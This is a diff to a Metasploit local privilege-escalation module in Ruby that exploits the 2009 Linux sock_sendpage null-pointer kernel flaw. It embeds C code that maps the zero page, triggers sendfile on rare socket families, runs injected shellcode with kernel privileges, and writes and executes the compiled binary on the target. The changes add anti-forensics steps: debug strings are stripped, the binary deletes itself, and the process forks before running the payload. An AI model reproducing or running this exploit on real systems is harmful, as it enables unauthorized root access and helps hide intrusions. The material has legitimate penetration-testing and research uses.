|
|
|
@ -7,14 +7,8 @@ require 'msf/core'
|
|
|
|
|
require 'rex'
|
|
|
|
|
require 'msf/core/exploit/local/linux_kernel'
|
|
|
|
|
require 'msf/core/exploit/local/linux'
|
|
|
|
|
require 'msf/core/exploit/local/unix'
|
|
|
|
|
require 'msf/core/exploit/exe'
|
|
|
|
|
|
|
|
|
|
#load 'lib/msf/core/post/file.rb'
|
|
|
|
|
#load 'lib/msf/core/exploit/local/unix.rb'
|
|
|
|
|
#load 'lib/msf/core/exploit/local/linux.rb'
|
|
|
|
|
#load 'lib/msf/core/exploit/local/linux_kernel.rb'
|
|
|
|
|
|
|
|
|
|
class Metasploit4 < Msf::Exploit::Local
|
|
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
|
@ -23,7 +17,6 @@ class Metasploit4 < Msf::Exploit::Local
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::Local::LinuxKernel
|
|
|
|
|
include Msf::Exploit::Local::Linux
|
|
|
|
|
include Msf::Exploit::Local::Unix
|
|
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
|
super( update_info( info, {
|
|
|
|
@ -69,92 +62,166 @@ class Metasploit4 < Msf::Exploit::Local
|
|
|
|
|
'DisclosureDate' => "Aug 13 2009",
|
|
|
|
|
}
|
|
|
|
|
))
|
|
|
|
|
register_options([
|
|
|
|
|
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
|
|
|
|
|
])
|
|
|
|
|
register_options([
|
|
|
|
|
OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
|
|
|
|
|
])
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def executable_path
|
|
|
|
|
@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
|
|
|
|
|
|
|
|
|
|
@executable_path
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
sc = Metasm::ELF.new(@cpu)
|
|
|
|
|
sc.parse %Q|
|
|
|
|
|
#define DEBUGGING
|
|
|
|
|
#define NULL ((void*)0)
|
|
|
|
|
#ifdef __ELF__
|
|
|
|
|
.section ".bss" rwx
|
|
|
|
|
.section ".text" rwx
|
|
|
|
|
.entrypoint
|
|
|
|
|
#endif
|
|
|
|
|
call main
|
|
|
|
|
;push eax
|
|
|
|
|
call exit
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# Set up the same include order as the bionic build system.
|
|
|
|
|
# See external/source/meterpreter/source/bionic/libc/Jamfile
|
|
|
|
|
cparser.lexer.include_search_path = [
|
|
|
|
|
"external/source/meterpreter/source/bionic/libc/include/",
|
|
|
|
|
"external/source/meterpreter/source/bionic/libc/private/",
|
|
|
|
|
"external/source/meterpreter/source/bionic/libc/bionic/",
|
|
|
|
|
"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
|
|
|
|
|
"external/source/meterpreter/source/bionic/libc/kernel/common/",
|
|
|
|
|
"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
|
|
|
|
|
]
|
|
|
|
|
|
|
|
|
|
cparser.parse(%Q|
|
|
|
|
|
#define DEBUGGING
|
|
|
|
|
// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
|
|
|
|
|
#ifndef __extension__
|
|
|
|
|
#define __extension__
|
|
|
|
|
#endif
|
|
|
|
|
// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
|
|
|
|
|
// Doing #if on an undefined macro is fine in GCC, but a parse error in
|
|
|
|
|
// metasm.
|
|
|
|
|
#ifndef __STDC__
|
|
|
|
|
#define __STDC__ 0
|
|
|
|
|
#endif
|
|
|
|
|
#include <sys/types.h>
|
|
|
|
|
#include <sys/mman.h>
|
|
|
|
|
#include <stdarg.h>
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
#include <errno.h>
|
|
|
|
|
/*
|
|
|
|
|
OpenBSD's strcmp from string/strcmp.c in bionic
|
|
|
|
|
*/
|
|
|
|
|
int
|
|
|
|
|
strcmp(const char *s1, const char *s2)
|
|
|
|
|
{
|
|
|
|
|
while (*s1 == *s2++)
|
|
|
|
|
if (*s1++ == 0)
|
|
|
|
|
return (0);
|
|
|
|
|
return (*(unsigned char *)s1 - *(unsigned char *)--s2);
|
|
|
|
|
}
|
|
|
|
|
|)
|
|
|
|
|
|
|
|
|
|
[
|
|
|
|
|
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
|
|
|
|
|
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
|
|
|
|
|
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
|
|
|
|
|
"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
|
|
|
|
|
# This parses without any trouble, but actually calling perror() causes
|
|
|
|
|
# immediate segfaults.
|
|
|
|
|
#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",
|
|
|
|
|
|
|
|
|
|
# For some ungodly reason, NULL ends up being undefined when parsing this
|
|
|
|
|
# guy, which of course causes parse errors.
|
|
|
|
|
#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",
|
|
|
|
|
|
|
|
|
|
].each do |fname|
|
|
|
|
|
print_status("Parsing c file #{fname}")
|
|
|
|
|
cparser.parse(File.read(fname), fname)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
print_status("Unix socket.h")
|
|
|
|
|
unix_socket_h(sc)
|
|
|
|
|
current_task_struct_h(sc)
|
|
|
|
|
if datastore["DEBUG"]
|
|
|
|
|
cparser.parse "#define DEBUG\n"
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
case target.arch.first
|
|
|
|
|
when ARCH_X86
|
|
|
|
|
print_status("syscall wrappers")
|
|
|
|
|
linux_x86_syscall_wrappers(sc)
|
|
|
|
|
main = %q^
|
|
|
|
|
|
|
|
|
|
struct _IO_FILE;
|
|
|
|
|
typedef void _IO_lock_t;
|
|
|
|
|
|
|
|
|
|
struct _IO_marker {
|
|
|
|
|
struct _IO_marker *_next;
|
|
|
|
|
struct _IO_FILE *_sbuf;
|
|
|
|
|
int _pos;
|
|
|
|
|
};
|
|
|
|
|
typedef unsigned int __gid_t;
|
|
|
|
|
typedef long __off_t;
|
|
|
|
|
typedef int __pid_t;
|
|
|
|
|
typedef
|
|
|
|
|
struct {
|
|
|
|
|
long __val[2];
|
|
|
|
|
} __quad_t;
|
|
|
|
|
typedef int __ssize_t;
|
|
|
|
|
typedef unsigned int __uid_t;
|
|
|
|
|
extern void exit(int __status);
|
|
|
|
|
extern int open(const char *__file, int __oflag, ...);
|
|
|
|
|
extern void perror(const char *__s);
|
|
|
|
|
extern int printf(const char *__format, ...);
|
|
|
|
|
typedef unsigned long size_t;
|
|
|
|
|
extern int socket(int __domain, int __type, int __protocol);
|
|
|
|
|
extern int strcmp(const char *__s1, const char *__s2);
|
|
|
|
|
extern int unlink(const char *__name);
|
|
|
|
|
|
|
|
|
|
typedef __quad_t __off64_t;
|
|
|
|
|
extern __pid_t fork(void);
|
|
|
|
|
extern int ftruncate(int __fd, __off_t __length);
|
|
|
|
|
extern __gid_t getgid(void);
|
|
|
|
|
extern __uid_t getuid(void);
|
|
|
|
|
extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
|
|
|
|
|
extern int mprotect(void *__addr, size_t __len, int __prot);
|
|
|
|
|
typedef __off_t off_t;
|
|
|
|
|
typedef __ssize_t ssize_t;
|
|
|
|
|
|
|
|
|
|
struct _IO_FILE {
|
|
|
|
|
int _flags;
|
|
|
|
|
char *_IO_read_ptr;
|
|
|
|
|
char *_IO_read_end;
|
|
|
|
|
char *_IO_read_base;
|
|
|
|
|
char *_IO_write_base;
|
|
|
|
|
char *_IO_write_ptr;
|
|
|
|
|
char *_IO_write_end;
|
|
|
|
|
char *_IO_buf_base;
|
|
|
|
|
char *_IO_buf_end;
|
|
|
|
|
char *_IO_save_base;
|
|
|
|
|
char *_IO_backup_base;
|
|
|
|
|
char *_IO_save_end;
|
|
|
|
|
struct _IO_marker *_markers;
|
|
|
|
|
struct _IO_FILE *_chain;
|
|
|
|
|
int _fileno;
|
|
|
|
|
int _flags2;
|
|
|
|
|
__off_t _old_offset;
|
|
|
|
|
unsigned short _cur_column;
|
|
|
|
|
signed char _vtable_offset;
|
|
|
|
|
char _shortbuf[1];
|
|
|
|
|
_IO_lock_t *_lock;
|
|
|
|
|
__off64_t _offset;
|
|
|
|
|
void *__pad1;
|
|
|
|
|
void *__pad2;
|
|
|
|
|
void *__pad3;
|
|
|
|
|
void *__pad4;
|
|
|
|
|
size_t __pad5;
|
|
|
|
|
int _mode;
|
|
|
|
|
char _unused2[40];
|
|
|
|
|
};
|
|
|
|
|
extern ssize_t sendfile(int __out_fd, int __in_fd, off_t *__offset, size_t __count);
|
|
|
|
|
|
|
|
|
|
typedef struct _IO_FILE FILE;
|
|
|
|
|
|
|
|
|
|
extern int fclose(FILE *__stream);
|
|
|
|
|
extern FILE *fopen(const char *__filename, const char *__modes);
|
|
|
|
|
extern int fscanf(FILE *__stream, const char *__format, ...);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// Refactor missed these, added manually by the simple expedient of
|
|
|
|
|
// printf
|
|
|
|
|
#define PF_BLUETOOTH 31
|
|
|
|
|
#define PF_APPLETALK 5
|
|
|
|
|
#define PF_IPX 4
|
|
|
|
|
#define PF_IRDA 23
|
|
|
|
|
#define PF_X25 9
|
|
|
|
|
#define PF_AX25 3
|
|
|
|
|
#define PF_PPPOX 24
|
|
|
|
|
|
|
|
|
|
#define EOF -1
|
|
|
|
|
|
|
|
|
|
#define MAP_PRIVATE 0x02
|
|
|
|
|
#define MAP_FIXED 0x10
|
|
|
|
|
#define MAP_ANONYMOUS 0x20
|
|
|
|
|
#define MAP_ANON MAP_ANONYMOUS
|
|
|
|
|
#define MAP_FAILED ((void *)-1)
|
|
|
|
|
|
|
|
|
|
#define PROT_READ 0x1
|
|
|
|
|
#define PROT_WRITE 0x2
|
|
|
|
|
#define PROT_EXEC 0x4
|
|
|
|
|
|
|
|
|
|
#define O_CREAT 64
|
|
|
|
|
#define O_RDWR 2
|
|
|
|
|
|
|
|
|
|
#define SOCK_DGRAM 2
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/*
|
|
|
|
|
#include <errno.h>
|
|
|
|
|
#include <fcntl.h>
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <stdlib.h>
|
|
|
|
|
#include <stdarg.h>
|
|
|
|
|
#include <string.h>
|
|
|
|
|
#include <sys/mman.h>
|
|
|
|
|
#include <sys/sendfile.h>
|
|
|
|
|
#include <sys/socket.h>
|
|
|
|
|
#include <sys/types.h>
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
*/
|
|
|
|
|
|
|
|
|
|
// Only print to stdout if we're debugging. This reduces our forensics
|
|
|
|
|
// footprint a touch by preventing our debugging strings from showing up
|
|
|
|
|
// in the binary when using the exploit for reals.
|
|
|
|
|
#ifdef DEBUG
|
|
|
|
|
# define dprintf printf
|
|
|
|
|
#else
|
|
|
|
|
# define dprintf
|
|
|
|
|
#endif
|
|
|
|
|
|
|
|
|
|
#undef fscanf
|
|
|
|
|
|
|
|
|
|
#ifdef __x86_64__
|
|
|
|
|
#define PTR_FMT "0x%016x"
|
|
|
|
|
#else
|
|
|
|
@ -163,6 +230,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|
|
|
|
|
|
|
|
|
#define NULL ((void*)0)
|
|
|
|
|
#define DOMAINS_STOP -1
|
|
|
|
|
|
|
|
|
|
const int domains[] = {
|
|
|
|
|
PF_BLUETOOTH,
|
|
|
|
|
PF_APPLETALK,
|
|
|
|
@ -192,7 +260,7 @@ static unsigned long get_kernel_sym(char *name)
|
|
|
|
|
if (f == NULL) {
|
|
|
|
|
f = fopen("/proc/ksyms", "r");
|
|
|
|
|
if (f == NULL) {
|
|
|
|
|
printf("Unable to obtain symbol listing!\n");
|
|
|
|
|
dprintf("Unable to obtain symbol listing!\n");
|
|
|
|
|
return 0;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
@ -205,7 +273,7 @@ static unsigned long get_kernel_sym(char *name)
|
|
|
|
|
continue;
|
|
|
|
|
}
|
|
|
|
|
if (!strcmp(name, sname)) {
|
|
|
|
|
printf(" [+] Resolved %s to %p\n", name, (void *)addr);
|
|
|
|
|
dprintf(" [+] Resolved %s to %p\n", name, (void *)addr);
|
|
|
|
|
fclose(f);
|
|
|
|
|
return addr;
|
|
|
|
|
}
|
|
|
|
@ -253,11 +321,11 @@ own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long
|
|
|
|
|
return -1;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
const char *shellcode =
|
|
|
|
|
"";
|
|
|
|
|
SHELLCODE
|
|
|
|
|
|
|
|
|
|
int shellcode_size = 0;
|
|
|
|
|
|
|
|
|
|
int main() {
|
|
|
|
|
int main(int argc, char **argv) {
|
|
|
|
|
int i = 0;
|
|
|
|
|
int d;
|
|
|
|
|
int in_fd, out_fd;
|
|
|
|
@ -265,6 +333,9 @@ int main() {
|
|
|
|
|
char template[] = "/tmp/sendfile.XXXXXX";
|
|
|
|
|
int (*func)();
|
|
|
|
|
|
|
|
|
|
dprintf("argv[0] = %s\n", argv[0]);
|
|
|
|
|
unlink(argv[0]);
|
|
|
|
|
|
|
|
|
|
uid = getuid(), gid = getgid();
|
|
|
|
|
|
|
|
|
|
mapped = mmap(NULL , 0x1000,
|
|
|
|
@ -273,7 +344,7 @@ int main() {
|
|
|
|
|
0, 0
|
|
|
|
|
);
|
|
|
|
|
if (mapped == NULL) {
|
|
|
|
|
printf("Mapped zero page!\n");
|
|
|
|
|
dprintf("Mapped zero page!\n");
|
|
|
|
|
} else {
|
|
|
|
|
exit(1);
|
|
|
|
|
}
|
|
|
|
@ -285,35 +356,36 @@ int main() {
|
|
|
|
|
*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;
|
|
|
|
|
|
|
|
|
|
for (i = 0; i < 16; i++) {
|
|
|
|
|
printf("\\\\x%02x", (unsigned char)mapped[i]);
|
|
|
|
|
dprintf("\\\\x%02x", (unsigned char)mapped[i]);
|
|
|
|
|
}
|
|
|
|
|
printf("\n");
|
|
|
|
|
dprintf("\n");
|
|
|
|
|
|
|
|
|
|
for (d = 0; domains[d] != DOMAINS_STOP; d++) {
|
|
|
|
|
//printf("Next domain ... ");
|
|
|
|
|
//dprintf("Next domain ... ");
|
|
|
|
|
out_fd = socket(domains[d], SOCK_DGRAM, 0);
|
|
|
|
|
if (out_fd > 0) {
|
|
|
|
|
printf("Got domain[%d]\n", d);
|
|
|
|
|
dprintf("Got domain[%d]\n", d);
|
|
|
|
|
break;
|
|
|
|
|
}
|
|
|
|
|
if (out_fd < 0) {
|
|
|
|
|
printf("out_fd: %d, Errno: %d\n", out_fd, errno);
|
|
|
|
|
perror("socket");
|
|
|
|
|
exit(1);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
unlink(template);
|
|
|
|
|
// Couldn't get mkstemp to work, just use open(2) for now
|
|
|
|
|
in_fd = open(template, O_CREAT | O_RDWR, 0777);
|
|
|
|
|
printf("Opened temp file: %d\n", in_fd);
|
|
|
|
|
dprintf("Opened temp file: %d\n", in_fd);
|
|
|
|
|
unlink(template);
|
|
|
|
|
printf("Calling ftruncate\n");
|
|
|
|
|
dprintf("Calling ftruncate\n");
|
|
|
|
|
ftruncate(in_fd, 4096);
|
|
|
|
|
|
|
|
|
|
printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
|
|
|
|
|
printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
|
|
|
|
|
dprintf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
|
|
|
|
|
dprintf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
|
|
|
|
|
sendfile(out_fd, in_fd, NULL, 4096);
|
|
|
|
|
printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
|
|
|
|
|
printf("UID: %d GID: %d\n", getuid(), getgid());
|
|
|
|
|
dprintf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
|
|
|
|
|
dprintf("UID: %d GID: %d\n", getuid(), getgid());
|
|
|
|
|
|
|
|
|
|
func = mmap(NULL, 0x1000,
|
|
|
|
|
PROT_READ | PROT_WRITE | PROT_EXEC,
|
|
|
|
@ -322,24 +394,31 @@ int main() {
|
|
|
|
|
);
|
|
|
|
|
mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
|
|
|
|
|
// weaksauce memcpy so we don't have to #include <string.h>
|
|
|
|
|
printf("Copying %d bytes of shellcode\n", shellcode_size);
|
|
|
|
|
dprintf("Copying %d bytes of shellcode\n", shellcode_size);
|
|
|
|
|
for (i = 0; i < shellcode_size; i++) {
|
|
|
|
|
(char)func[i] = (char)shellcode[i];
|
|
|
|
|
}
|
|
|
|
|
printf("Calling shellcode: 0x%p\n", func);
|
|
|
|
|
dprintf("Forking before calling shellcode: 0x%p\n", func);
|
|
|
|
|
//sigtrap();
|
|
|
|
|
if (fork()) {
|
|
|
|
|
exit(0);
|
|
|
|
|
}
|
|
|
|
|
func();
|
|
|
|
|
|
|
|
|
|
return got_ring0;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
^
|
|
|
|
|
main.gsub!(/shellcode =/) do
|
|
|
|
|
# split the payload into 16-byte chunks and dump it out as a
|
|
|
|
|
# hex-escaped C string
|
|
|
|
|
%Q|shellcode =\n"#{payload.encoded.scan(/.{1,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
|
|
|
|
|
main.gsub!(/SHELLCODE/) do
|
|
|
|
|
# Split the payload into chunks and dump it out as a hex-escaped
|
|
|
|
|
# literal C string.
|
|
|
|
|
Rex::Text.to_c(payload.encoded, 64, "shellcode")
|
|
|
|
|
end
|
|
|
|
|
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
|
|
|
|
|
|
|
|
|
|
cparser.parse(main, "main.c")
|
|
|
|
|
#$stderr.puts cparser.factorize
|
|
|
|
|
#return
|
|
|
|
|
|
|
|
|
|
asm = cpu.new_ccompiler(cparser, sc).compile
|
|
|
|
|
|
|
|
|
@ -347,6 +426,7 @@ int main() {
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
sc.assemble
|
|
|
|
|
sc.c_set_default_entrypoint
|
|
|
|
|
|
|
|
|
|
begin
|
|
|
|
|
if sc.kind_of? Metasm::ELF
|
|
|
|
@ -362,16 +442,11 @@ int main() {
|
|
|
|
|
return
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#puts Rex::Text.to_hex_dump(foo)
|
|
|
|
|
File.open("payload.bin", "wb") {|fd|
|
|
|
|
|
fd.write elf
|
|
|
|
|
}
|
|
|
|
|
print_status "Writing exploit executable (#{elf.length} bytes)"
|
|
|
|
|
cmd_exec("rm /tmp/sendpage")
|
|
|
|
|
write_file("/tmp/sendpage", elf)
|
|
|
|
|
output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
|
|
|
|
|
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
|
|
|
|
|
rm_f executable_path
|
|
|
|
|
write_file(executable_path, elf)
|
|
|
|
|
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
|
|
|
|
|
output.each_line { |line| print_debug line.chomp }
|
|
|
|
|
#cmd_exec("rm /tmp/sendpage")
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|